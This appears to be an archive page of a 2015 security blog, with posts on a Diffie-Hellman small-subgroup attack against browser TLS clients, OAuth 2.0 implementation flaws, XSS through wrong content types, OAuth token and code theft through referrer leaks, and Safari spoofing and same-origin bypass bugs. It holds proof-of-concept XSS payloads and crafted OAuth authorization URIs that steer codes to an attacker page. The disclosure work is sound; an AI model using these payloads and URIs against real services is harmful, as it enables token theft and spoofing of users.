Tuesday, 22 December 2015

Small subgroup attack in Mozilla NSS

tl;dr While the TLS servers attacks has been pretty much studied and fixed (see e.g. https://www.secure-resumption.com/ and https://weakdh.org/) the situation with the TLS clients is (was) not ideal and can be improved. Here I report a Small subgroup attack for TLS clients that I performed against various browsers and reported.

Whoever reads this blog is used to read about OAuth .
For once (and maybe more in the future) let's hijack the usual topic and let's talk about my new "passion" : TLS in particular Diffie–Hellman (DH from now on).

Now, before to start I need to clarify one thing IANAC (I am not a cryptographer) so I might likely end up writing a bunch of mistakes in this blog post...

Diffie-Hellman is used in SSL/TLS, as "ephemeral Diffie-Hellman" (EDH) and it is probably going to be kill soonish (or at least is the intent of Google Chrome). FWIW I personally agree with this unless EDH implements the Negotiated Finite Field specification.

Now in the last years there were at least a couple of issue that affected EDH:
What I am going to describe here is by far less severe that the issues above.  Indeed has been rated by Mozilla NSS as security moderate and Google Chrome did not consider harmful at all (and since Adam Langley is one of the people that is on this side I got to agree with him :)  ).

But here the details:

When using TLS_DHE_RSA_WITH_AES_128_CBC_SHA Firefox/Chrome doesn't accept degenerate public key of value 0,1 and -1 since this key lead to pms that is {0,1, -1}.
This (the -1 case) is probably a consequence of CVE-2014-1491 (raised as part of the Triple Handshake Attack ).

I would refer to the classic  Diffie Hellman nomenclature
  •  p as the prime number
  • g the generator with order p-1 = q
  • y public key
  • x private key

Observation

If (p-1)/4  = 0 (mod p) then if I choose my private key x = (p-1)/4 then my public key
y = g^x will generates a prime-order subgroup of size 4.

This means that Mozilla/Chrome will agree on a pms = 1 one time out of 4.

The issue

I set up a server with

p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084241
g = 3
q =1

and TLS_DHE_RSA_WITH_AES_128_CBC_SHA as cipher.

During the negotiation with Chrome I always choose

x= (p-1)/4 = 3351951982485649274893506249551461531869841455148098344430890360930441007518386744200468574541725856922507964546621512713438470702986642486608412251521060

and pass

y = 11130333445084706427994000041243435077443611277989851635896953056790400956946719341695219235480436483595595868058263313228038179294276393680262837344694991

Chrome/Firefox will happily "agree" on those 4 pms
  • 1
  • 2277474484857890671580024956962411050035754542602541741826608386931363073126827635106655062686466944094435990128222737625715703517670176266170811661389250
  • 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084240
  • 11130333445084706427994000041243435077443611277989851635896953056790400956946719341695219235480436483595595868058263313228038179294276393680262837344694991

Of course the "worse" one is 1 and happens to be 1 time out of 4 (according to Adam Langley though "here's nothing special about sending an odd DH value, it could equally well make its DH private key equal to 42"). So not big deal :(

Just for the record even the easier suggestion given in [1] aka

"Make sure that g^x,g^y and g^xy do not equal to 1"


 is not followed and this happens with very high probability (25%)

The Summary



[1] http://crypto.cs.mcgill.ca/~stiglic/Papers/dhfull.pdf

Thursday, 17 December 2015

Top 10 OAuth 2 Implementation Vulnerabilities

Some time ago I posted a blogpost abut  Top 5 OAuth 2 Implementation Vulnerabilities.
This week I have extended the list while presenting Top X OAuth 2 Hacks at OWASP Switzerland.

This blog post (like the presentation) is just a collection of interesting attack OAuth related.

#10 The Postman Always Rings Twice 

I have introduced this 'attack' in last year post . This is for provider implementer, it is not extremely severe but, hey, is better to follow the spec. Specifically

The client MUST NOT use the authorization code  more than once.  If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.

It turned out that even Facebook and Google did it wrong... :)

#9 Match Point

To all OAuth Providers be sure to follow section 4.1.3 of the spec in particular

...if the "redirect_uri" parameter was included in the initial authorization request as described in Section 4.1.1, and if included ensure that their values are identical.

Should you fail to do it, this in combination with Lassie Come Home below is game over (even for implementer that support only the Authorization Code Grant flow).

#8 Open redirect in rfc6749 

If you want to implent OAuth Authorization Server and  follow verbatim the OAuth core spec you might end up having an Open Redirect. Full story here . Interesting attack here .

#7 Native apps - Which OAuth flow ?

In a nutshell

  • It is NOT recommended that native applications use the implicit flow.
  • Native clients CAN NOT protect a client_secret unless it is configured at runtime as in the dynamic registration case (RFC 7591).
If you do not follow this suggestions then you risk this.

#6 Cross-site request forgery for OAuth Clients

Defined  the the Most Common OAuth2 Vulnerability. So do you the state anti CSRF parameter, as long as you use the right library to check and not a broken one :)

#5 Cross-site request forgery for Authorization Servers

As per any other website part is important to not forget Cross Site Request Forgery aka CSRF protection in your OAuth provider impelemtation. Some examples are:

#4 On Bearer Tokens

DO NOT  (if you can avoid) pass the access_token as a URI parameter a la

GET /resource?access_token=mF_9.B5f-4.1Jq HTTP/1.1                  
Host: server.example.com


since:

#3 The Devil Wears Prada

 If you are an OAuth client that use OAuth for authentication (do NOT). If you absolutely have to, you'd better read User Authentication with OAuth 2.0 . Specially if you are using the OAuth Implicit Grant flow (aka Client side).
More about the topic in here and here

#2 Lassie Come Home for OAuth clients

If you are building an OAuth client,  
Thou shall register a redirect_uri as much as specific as you can

#1 Lassie Come Home for Authorization Server

 ....and the winner is (again) 'Lassie Come Home'. Well this is hell of a danger.
There are way too many example of provider vulnerable to this attack. Just listing few here:

At least the mitigation for this issue is damn simple:  use exact matching against registered redirect uri to validate the redirect_uri parameter

BTW the slides are here.

<snip>
//SHAMELESS SELF ADVERTISEMENT
If you like OAuth 2.0 and/or you want to know more about it here you can find a book on OAuth that Justin Richer and myself have been writing on the subject.
https://www.manning.com/books/oauth-2-in-action

</snip>

Monday, 7 December 2015

A Quick Glance at Modern Browsers's Protection Part #1

tl;dr in this blog post we are going to give a look at modern browsers's protection with some hands on example available at https://github.com/asanso/browsers-security and deployed in Heroku. This blog post is NOT about Same-origin policy

Introduction

In this blog post we are going to give a look at modern browsers's protection. More specifically if you are designing a REST API where the result response is driven by some user input, then why not have some help from the browser rather than brewing some ad hoc protection?
I am going to provide some demo deployed in Heroku .
If you prefer running them on your machine you might want to clone  https://github.com/asanso/browsers-security and drill down into the specific example.

Mind your content type

By definition Content-Type entity-header field indicates the media type of the entity-body sent to the recipient or, in the case of the HEAD method, the media type that would have been sent had the request been a GET
It turns out that returning the proper Content-Type might save a lot of headache. 




Or from your browsers-security check out:
So lets dig the response using curl:

curl -v -L "https://mysterious-ocean-4724.herokuapp.com/?name=<script>alert(document.domain)</script>"

>
< HTTP/1.1 200 OK
* Server Cowboy is not blacklisted
< Server: Cowboy
< Connection: keep-alive
< X-Powered-By: Express
< Content-Type: text/html; charset=utf-8
< Content-Length: 42
< Etag: W/"2a-QK3v/EQbwe/c0QdPJrXydw"
< Date: Wed, 02 Dec 2015 15:16:31 GMT
< Via: 1.1 vegur

{"helloWorld": "<script>alert(
document.domain)</script>"}

As you can see we are returning some JSON payload in the response but using the "wrong" Content-Type (aka text/html). This in combination with a malicious input provided by an attacker will make the browser to happily execute the provided javascript snippet.
Now of course output sanitization (this is always good BTW) would have stopped this attack but this would have required some effort. From the other hand just returning the right Content-Type (application/json in this example ) will make the browser displaying the JSON text content as in this example

https://mysterious-ocean-4724.herokuapp.com/?surname=%3Cscript%3Ealert%28document.domain%29%3C/script%3E

curl -v -L "https://mysterious-ocean-4724.herokuapp.com/?surname=<script>alert(document.domain)</script>" 

< HTTP/1.1 200 OK
* Server Cowboy is not blacklisted
< Server: Cowboy
< Connection: keep-alive
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 56
< Etag: W/"38-AEX4mYlsmzOHSw8oOicxiQ"
< Date: Mon, 07 Dec 2015 09:39:53 GMT
< Via: 1.1 vegur
<
{"helloWorld":"<script>alert(document.domain)</script>"}


Bonus Part:  
The examples above where targetting a stored XSS. Those are cross browsers and if successful (namley some stored javascript is displayed in some not sanitized output) every browser will happiliy execute the javascript.  For  reflected XSS (where the input is bounced directly in the output) some browsers (Chrome, Safari, IE ) ship with an XSS filter. E.g. try to hit the follow link with Google Chrome


has the result 

The XSS Auditor refused to execute a script in 'https://mysterious-ocean-4724.herokuapp.com/?title=%3Cscript%3Ealert%28document.domain%29%3C/script%3E' because its source code was found within the request. 

and the XSS is then stopped by the browser. From the other hand Firefox would still be vulnerable.

Re-mind your content type

As returning a "wrong" content type you might imagine that not returning a Content-Type AT ALL is NOT a so great idea :) Indeed there are some browsers (did I say IE :)?) that trying to be extra clever and try to  intelligently interpret the response content in order to guess the right Content-Type. In the netsec jargon this is call sniffing. But let's the example talking on its own, using IE ONLY

https://protected-garden-1595.herokuapp.com?name=<script>alert(document.domain)</script>

Again if you prefer running in local then clone https://github.com/asanso/browsers-security/tree/master/noContentType

Trying to inspect the response we can see the total lack of content type:

curl -v -L "https://protected-garden-1595.herokuapp.com?name=<script>alert(document.domain)</script>"

< HTTP/1.1 200 OK
* Server Cowboy is not blacklisted
< Server: Cowboy
< Connection: keep-alive
< Date: Mon, 07 Dec 2015 10:52:54 GMT
< Content-Length: 51
< Via: 1.1 vegur
<
Hello World <script>alert(document.domain)</script>


The solution is obviously is to return the correct  Content-Type hence

TIL: mind you Content-Type

Coming soon...

This concludes the part #1. If you like this stuff you might watch this space for:
  • more about Content-Type
  • nosniff 
  • X-XSS-Protection
  • Content-Disposition
  • Content Security Policy (CSP)
  • Cross-origin resource sharing (CORS)
  • HTTP Strict Transport Security (HSTS)
  • Subresource Integrity (SRI)

Wednesday, 14 October 2015

On (OAuth) token hijacks for fun and profit part #2 (Microsoft/xxx integration)

In a previous blogpost we have already analyzed a token hijack on one OAuth integration between some Microsoft and Google service and seen what went wrong.
Now it is time to see yet another integration between Microsoft and xxxx (unluckily I can't disclose the name of the other company due the fact the haven't still fixed a related issue...) and see some fallacy.
But before to focus on the attack we might need a bit of introduction.


HTTP referrer


An HTTP referrer (misspelled as referer in the spec) is a special HTTP header field that browsers (and http clients in general) attach when surfing from a page to another. In this way the new webpage can see where the request originated. One extra thing to point out is that as per section 15.1.3 (Encoding Sensitive Information in URI's) of HTTP RFC [RFC 2616]:

Clients SHOULD NOT include a Referer header field in a (non-secure) HTTP request if the referring page was transferred with a secure protocol.

This is summarized in the image below:


The issue


Microsoft (of course) offers some service that allows you to have your Office document displayed online (similar to Google docs). For Microsoft Word the address is https://word.office.live.com/ .
Now this service is also integrated with other partners and you can display document hosted to a partner website doing something like

https://word.office.live.com/wv/WordView.aspx?FBsrc=http%3A%2F%2PARTNER_WEBSITE%2Fattachments%2Fdoc_preview.php%3Fmid%3Dmid.1426701639299%253A78532202c0996b8097%26id%3D10152839561617017%26metadata&access_token=AQD2GswFGnDGl28A&title=sanso-test

The two things to note in the link above are (in bold):

  • The partner website address (http://PARTNER_WEBSITE)
  • The access_token contained in the URI (access_token=AQD2GswFGnDGl28A)
Anybody bearing this URI can access to a Word document uploaded to  PARTNER_WEBSITE via a Microsoft service https://word.office.live.com/

 

The bad part of this is that if the document contains a link and if the victim clicks on the link the above mentioned referrer will leak the access token.

 

 The attack


The attack might look like this:

- The attacker craft a special Word document containing a link to a website he owns (MUST be https though)
- The attacker upload the file to the PARTNER_WEBSITE 
- The attacker shares this document with the victim
- The attacker waits for the victim to access the document and click to the link

And yep the Referrer will contain the victim's access token leaking it.

You might argue that the attacker would not gain anything by stealing this access token since it would allow to have access to a resource the attacker can already see. This indeed might be put in the bucket of the privacy issue rather than security vulnerability. From the other hand it is really matter of how good is the implementation at the PARTNER WEBSITE and how granular is the hijacked's access token.
In any case Microsoft fixed promptly the issue (fixing the referrer leakage) and rewarded me with a bounty (thanks MSFT).

<snip>
//SHAMELESS SELF ADVERTISEMENT
If you like OAuth 2.0 and/or you want to know more about it here you can find a book on OAuth that Justin Richer and myself have been writing on the subject.
https://www.manning.com/books/oauth-2-in-action

</snip>

 

The bonus


While looking at this Microsoft endpoint I also found a stored XSS vulnerability (now also fixed :)) and Microsoft rewarded me as well for it (thanks MSFT)




Wednesday, 30 September 2015

Apple Safari URI spoofing (CVE-2015-5764)

tl;dr Apple Safari for OS X was prone to URI spoofing vulnerability  (and more general a user interface spoofing). Apple released security updates for Safari 9 on OS X and assigned CVE-2015-5764. Accidentally this vulnerability was also present in iOS.

Instant demo

In Safari up to 8.0.8 :
  • go to https://asanso.github.io/CVE-2015-5764/file0.html
  • click "click me!"
  • notice the address bar being "data:text/html,%3CH1%3EHi!!%3C/H1%3E"
  • go back using the browser button
  • click "click me!"
  • notice the address bar being http://www.intothesymmetry.com/CVE-2015-5764/file0.php !!!! 

Well this looks a clear caching problem to me, right :) ?

The Introduction (Oldie but goldie)

Several months ago (almost a year!!) I was reading the great book written by lcamtuf (aka Michal Zalewski) named The Tangled Web .  I know, I know I was a bit late for the party :)
Said that, this book contained a really interesting Chapter (for the record Chapter 10) that is dedicated almost entirely to pseudo-URLs such as (about:, javascript:, or data:). 
As for almost all the parts of this book I wanted to try what it was written and I started a bit to poke around.  The followers of this blog know that I kind of like to "play" with OAuth. Hence I combined the two things and started to see what I could do.

The Issue

The first issue I found was the one mentioned in the Instant demo section above.
Now,  in order to understand the issue we need to look at the code of https://asanso.github.io/CVE-2015-5764/file0.html

<html>
<a href="http://www.intothesymmetry.com/CVE-2015-5764/file0.php">click me! </a>
</html>


As you can see this is simply pointing to a PHP page in my website (http://www.intothesymmetry.com/CVE-2015-5764/file0.php). So let's take a look at it:

<?php
header("Location: data:text/html,<H1>Hi!!</H1>");
exit();
?>


This is simply an HTTP 302 redirect to data:text/html,data:text/html,<H1>Hi!!</H1>

Now when clicking at the link all the browser but Safari showed properly the address bar being data:text/html,%3CH1%3EHi!!%3C/H1%3E . Safari instead from the second visit onward would show the original website namely http://www.intothesymmetry.com/CVE-2015-5764/file0.php but with the HTML contained in the data:text/html pseudo-URI!!!

Well well this looks like an URI spoofing according to my book ;)
Safari was not unkown to this kind of vulnerability in 2015, same as Google Chrome

The Vulnerability(ies)

At this point your question can easily be why on earth should exists a website that allow an attacker to manipulate a 302 redirect versus a data:text/html URI and how did you find this weird vulnerability  :D ? The answer is: because of some  OAuth 2.0 implementations!!!
One of steps in order to obtain an OAuth client is to register a client application providing client name and a list of redirect_uri. 

<snip>
//SHAMELESS SELF ADVERTISEMENT
If you are not too much familiar with OAuth 2.0 here you can find a book on OAuth that Justin Richer and myself have been writing on the subject.
</snip>

Below a  little reminder on how a typical OAuth flow would look like


It turns out that exists some OAuth Autorization server that allows the registration of redirect_uri of the form of data:text/html. One example is (was as Facebook fixed this in the meantime) Moves on of Facebook acquisitions



The final piece of the puzzle is an Open Redirect vulnerability that exists in rfc6749 aka 'The OAuth 2.0 Authorization Framework' and some of its implementation . You can see an example of it clicking one of the links below:
The link will redirect to the registered_uri (without any user interaction). Before Facebook fixed the data:text/html redirect_uri clicking the following URL


 would have redirected you to  data:text/html,a&state=<script>alert('hi')</script>

The Attack

So far so good. Now let's try to sum up. Indeed we have all we need for a real attack. For an attacker would be enough to:

- find a website that offers OAuth support
- this website needs to allow registration of redirect_uri also of the type data:text/html
- this website implements OAuth 2 verbatim hence has an open redirect
- craft a URI of the form https://api.moves-app.com/oauth/v1/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('hi')</script>

And here we go, you would have a spoofed website (thanks to CVE-2015-5764)



The Fix

Apple released two security updates this month that include a fix for this issue:

Beyond URI spoofing

It looks like Apple Security team broke down the fix  for this issue in two tranches. Indeed if you careful read the description of CVE-2015-5764

Description: Multiple user interface inconsistencies may have allowed a malicious website to display an arbitrary URL. These issues were addressed through improved URL display logic.

This means that also other user interface were vulnerable and not only the address bar. One of the vulnerable component was the title of the alert box (that is commonly used for anti-phishing) .

But looks like Apple fixed this part of vulnerability in the previous security update.
If you want to give a look to it  with Safari 8.0.7 :

Visit

https://asanso.github.io/CVE-2015-5764/file.html
https://asanso.github.io/CVE-2015-5764/file2.html
https://asanso.github.io/CVE-2015-5764/file3.html

Friday, 18 September 2015

New OAuth book: OAuth 2 in Action

Justin Richer and myself have been writing a book about OAuth.

OAuth 2 in Action

It gives a deep look at the OAuth 2.0 protocol including hands on examples and practical implementation vulnerabilities to avoid. You can preorder the book today or you can download the first chapter for free on the publisher’s website:

https://www.manning.com/books/oauth-2-in-action

Happy reading!!

p.s. for the next few days, you can order it at half-off with the code mloauth2

Monday, 17 August 2015

Apple Safari SOP bypass (CVE-2015-3753)

Damien Antipa and me love browser security.
Hence we always keep up to date on what is going on this field.
Few months ago Christian Schneider blogged about Chrome SOP Bypass with SVG. We decided to poke some other browser using the same technique and the outcome was CVE-2015-3753.

The SOP-bypass for images works with Safari up to 8.0.7

We were able indeed to bypass the SOP for images served with 302 and with the data protocol (e.g. data:image/png;base64) and exfiltrate the image. You can find the detail of the issue in the mentioned blog post from Christian (our attack did not make use of the browser cache though)

Step to reproduce with Safari 8.0.7 :

Open the attacker page http://asanso.github.io/test.html username/password of the contained image are sop/sop

- click "exploit step 1" (this is just an intermediate step to load the image)
- click "exploit step 2" and appreciate the exfiltrated image in the alert message (substring) and the full one in the console (see also screenshot safari-sop.png)


The  Tainted canvases export protection seems to be broken for the combination 302 + data.

Apple released security updates for Safari 8.0.8, Safari 7.1.8, and Safari 6.2.8 and iOS 8.4.1 that address this and other issues.

Thanks goes to the Apple Product Security team.

Tuesday, 16 June 2015

On (OAuth) token hijacks for fun and profit part #1 (Google/Microsoft integration)

Here we go again....
I have already blogged about (OAuth) token hijacks [1] [2] , but hey, things happens and re-happens :)
In the past I had mainly focused my attention on Authorization Servers weakness. As the cited Facebook's vulnerable regex pattern matching for redirect_uri.
It turns out that also OAuth client can screw things up and leak token (or authorization codes).
So here is the tl;dr:

If you are building an OAuth client,  
Thou shall register a redirect_uri as much as specific as you can

i.e. if your OAuth client callback is https://yourouauthclient.com/oauth/oauthprovider/callback then

  • DO register https://yourouauthclient.com/oauth/oauthprovider/callback 
  • NOT JUST https://yourouauthclient.com/ or https://yourouauthclient.com/oauth
The main reason behind this is that sometimes Authorization Server (AS) use exotic and unexpected redirect_uri validation policies.
As mentioned in some previous post the ONLY safe validation method the Authorization Server should adopt is exact matching (all the other potential solutions, based on partial matching i.e. pattern matching based on regex or allowing subdirectory of the registered redirect_uri, are suboptimal and sometimes even dangerous).
Now coming back to the attack, Google+ offers an interesting feature were is possible to connect Outlook contacts to Google+

So, to perform this integration, Google has registered an OAuth client in the Microsoft OAuth solution aka https://login.live.com. The OAuth client Google registered is: 000000004404170C. The mistake done by the Google engineers in this case was to register a “too open” redirect_uri. Indeed the request originated by Google toward login.live is https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/c/auth&state=.... 
The normal flow then looks something like:


According to the request above Google should have been registered the https://plus.google.com/c/auth as redirect_uri (since the redirect_uri request parameter above is of this form). As matter of fact they did register https://plus.google.com instead!!
Now, Microsoft (https://login.live.com/oauth20_authorize.srf in this case) adopts the allowing subdirectory validation strategy (same as Github) for redirect_uri (namely validates only the start of the URI and considers valid redirect_uri if everything else is appended after the registered redirect_uri).
In order to exploit this issue an attacker (me in this case) can create a public post in Google+ e.g. https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w



This public post contains a link to the attacker web page (in the example https://asanso.github.io).
Well the attack is almost complete. It is indeed enough for the attacker to craft a special URI of this form:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w and make the victim click on it.
To be noted that the crafted URI contains a redirect_uri that is equal to the malicious post (https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w).
The attacker was then able to change the flow to something like:


Since Google registered https://plus.google.com as redirect_uri and due the fact login.live.com adopts an allowing subdirectory validation strategy, https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w is a perfectly valid redirect_uri. What’s now then?
It is enough to “convince” the victim to click (this happens more often than anybody can imagine) the crafted link:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w the victim then will end up to something like
https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w?code=e8e0dc1c-2258-6cca-72f3-7dbe0ca97a0b
Note the code request parameter ends up being attached in the URI of the malicious post. Having the victim clicking to the link in the malicious post will make him end up to https://asanso.github.io. At this point the referrer will leak the authorization code.



GET https://asanso.github.io/ HTTP/1.1
Host: asanso.github.io
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w?code=e8e0dc1c-2258-6cca-72f3-7dbe0ca97a0b&amp;state=AFD_5tnkUDeb8GzlT-fkd1N5dH3unpyRXfG4sisFWPyR_ZSfklmXnI2uKR6d_s5W1kToGBJNJ4nhNY9qZBCrPErOjkyBHm_5t4lkO2slpYU8qU5K63lQJvMsXbdvbEOaS9nFR5xW2l4x_KflI-xIHQprP6ZvvVZL76Wu5d--3mVrSpQxsVP38JquxEffeDxX9uGpLHnlR_TODIUHwXvE786Ov-rhxb8EedkRP_yQBWwTn5D-YIm4BScrjR-AOg
Connection: keep-alive



The attacker can just grab the authorization code from the Referer header.

I did report this vulnerability to Google through the Google Vulnerability Reward Program (VRP)  and they immediately acknowledged the problem (and Yep got a bounty for it :):)). Do the peculiar nature of the issue (also being an integration) it took a while to be fixed (but now it is). The fix is of course easy and as stated above is enough to register a more specific redirect_uri (aka https://plus.google.com/c/auth in this case).

Well this is the end of part #1. I will have yet more to come on the same subject but can't disclosed right now since vendors are still on the verge of fixing those issues... hence as always DO stay tuned and if you are interested on this topic I am @asanso on twitter.

P.S. there is a similar issue discovered by Andris Atteka (now fixed). In his blog post he was wondering if this was a Relying Party (Google) or Authentication Provider (Microsoft) problem. I hope this blog post clarified that this was a Relying Party (small) mistake that can have unwanted side effect though.

P.S2. interesting enough the attack discovered by Andris Atteka in his post was based on OpenID 2.0. In the same time frame Google dismissed OpenID 2.0 support but this did not make the vulnerability going away :). Indeed was enough to craft yet another URI that exhibited (almost) the same effect:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=00000000401058A9&scope=wl.emails&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://asanso.github.io
The real fix deployed by Google was eventually the same as above (once more, again and again, the registration of a more specific redirect uri!! :D)


Friday, 22 May 2015

So, you wanna crypto (in AEM)

So another year passed by and I will talk (again , ...) at the Connect WE conference. This year with Damien Antipa we will have a speech entitled So, you wanna crypto (in AEM) . Now, is true that even symmetric encryption isn't a “solved problem” but hey we still need to protect information et al :)
Now is probably well known that messing up with cryptography isn't that hard :p
Luckily Adobe Experience Manager (AEM) offers a great suite of cryptography capabilities as :
  • Encryption and decryption API
  • Integrity protection API
  • Key pair generation
  • TrustStore/KeyStore support
In this talk we will show how to use those low level building crypto building blocks to solve scalability and resilience problems i.e. improving the efficiency of load balancing with horizontal scalability  and providing a transparent stateless CSRF framework.

Tuesday, 7 April 2015

Open redirect in rfc6749 aka 'The OAuth 2.0 Authorization Framework'

Image result for meme all the things
tl;dr The Internet Bug Bounty rewarded me with a bounty for an Open Redirect in  rfc6749 aka 'The OAuth 2.0 Authorization Framework' .









Here the long version.

The Introduction 

 

Several months ago I did realize that if you want to implement an OAuth Authorization Server and  follow verbatim the OAuth core spec you might end up having an Open Redirect.
Now there is still some debate about this class of vulnerability since often they are relatively benign but not always (as we can see later).
Despite all at that point I notified the OAuth working group. There was some longish discussion but eventually (almost) all in the list agreed that this was somehow an issue (no where near the end of the world :)).

The Issue

 

Section 4.1.2.1 of the OAuth specification says:

   If the request fails due to a missing, invalid, or mismatching
   redirection URI, or if the client identifier is missing or invalid,
   the authorization server SHOULD inform the resource owner of the
   error and MUST NOT automatically redirect the user-agent to the
   invalid redirection URI. 
   If the resource owner denies the access request or if the request
   fails for reasons other than a missing or invalid redirection URI,
   the authorization server informs the client by adding the following
   parameters to the query component of the redirection URI using the...

Now let's assume an attacker:
  • Registers a new client to the victim.com provider.
  • Registers a redirect uri like attacker.com.
Then the attacker can craft a special URI of the form

http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com

according to Section 4.1.2.1 this should redirect back to attacker.com (without any user interaction, ever...)!!! Here we use the a wrong scope parameter but any reasons other than a missing or invalid redirection URI would had make the trick....
Now according to my dictionary this is an open redirect :p

Some live example of real providers that exhibit this behavior:

A real cool special case is Moves (just click and enjoy :p)

Update: it seems that Facebook doesn't allow anymore redirect to data:text/html (hence the link below is broken now), more to come on this topic... ;)

https://api.moves-app.com/oauth/v1/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('hi')</script>

As  (almost) usual Google did it right. Namely Google return 400 with the cause of the error..

400. That’s an error.

Error: invalid_scope

Some requested scopes were invalid. {invalid=[l]}


As we will see this is only one of the possible mitigation.

The Vulnerability

 

Now you might argue that this is ONLY an open redirect and there is not much you can do with it right? :)
Well well well ...

All I need is....an open redirect

Sometimes in order to accomplish some sort of attack you need to have an open redirect. This is only one small part of the chain but an essential one. And what can it be better (from the attacker perspective) if an OAuth provider gives you one :D ? If you do not believe me look like Andris Atteka used this very own issue as part of his attack to steal an access token.


Lassie come home (again)

In some of my previous post I have highlighted the importance for an Authorization Server to
use exact matching against registered redirect uri to validate the redirect_uri parameter. 
Indeed John Bradley realized how some attacker can chain the relaxed redirect uri validation with the open redirect described here to steal an access token.
He pointed out a possible attack scenario in the OAuth mailing list thread
You can find more details about this specific attack in the security addendum draft.


The Mitigation

 

John BradleyHannes Tschofenig and me came up with a draft for an OAuth security addendum that should provide better advice to implementers.
The mitigations are described in section 2.3 and they are rather simple, either :


  • Respond with an HTTP 400 (Bad Request) status code. 
  • Perform a redirect to an intermediate URI under the control of the Authorization Server to clear referer information 
As usual comments are welcome....